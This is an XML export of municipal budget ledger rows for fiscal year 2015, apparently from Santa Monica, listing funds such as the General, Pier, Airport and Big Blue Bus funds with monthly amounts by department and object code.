<row _id="17919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER FROM FUND 04</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-276857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-276857</total></row>
<row _id="17920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400773.0</object><object_description>JONATHAN CLUB-IMPROVEMENTS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-75000</total></row>
<row _id="17921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36918</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36918</total></row>
<row _id="17922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3325</total></row>
<row _id="17924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>428</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>428</total></row>
<row _id="17925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533250.0</object><object_description>RESTROOM MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="17926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>252344</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>252344</total></row>
<row _id="17927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4065</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4065</total></row>
<row _id="17928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3839</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3839</total></row>
<row _id="17929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>286</total></row>
<row _id="17930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="17931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533280.0</object><object_description>AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>125000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>125000</total></row>
<row _id="17932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-5600747</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5600747</total></row>
<row _id="17933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402690.0</object><object_description>CNG FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-322000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-322000</total></row>
<row _id="17934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402700.0</object><object_description>REGULAR FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-450000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-450000</total></row>
<row _id="17935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>158174</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>158174</total></row>
<row _id="17936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26046</total></row>
<row _id="17937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14400</total></row>
<row _id="17938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>709178</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>709178</total></row>
<row _id="17939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3425</total></row>
<row _id="17940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3000</total></row>
<row _id="17941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-10250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10250</total></row>
<row _id="17943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11537</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11537</total></row>
<row _id="17944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-7558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7558</total></row>
<row _id="17945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-34674</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34674</total></row>
<row _id="17946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-21625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21625</total></row>
<row _id="17948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-1911</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1911</total></row>
<row _id="17949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-85001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85001</total></row>
<row _id="17950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-43446</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-43446</total></row>
<row _id="17951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577723.0</object><object_description>CDBG - RESIDENTIAL REHAB PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8</total></row>
<row _id="17953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400860.0</object><object_description>ST GAS TAX APPORTIONMENT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1959004</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1959004</total></row>
<row _id="17954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2487</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2487</total></row>
<row _id="17956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3077</total></row>
<row _id="17957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402810.0</object><object_description>URN SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-18782</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18782</total></row>
<row _id="17958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1122</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1122</total></row>
<row _id="17959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>432</total></row>
<row _id="17960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1629</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1629</total></row>
<row _id="17961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577550.0</object><object_description>FARMERS' MARKET SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>38414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38414</total></row>
<row _id="17962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9235</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9235</total></row>
<row _id="17963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="17964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-12918</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12918</total></row>
<row _id="17965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5982</total></row>
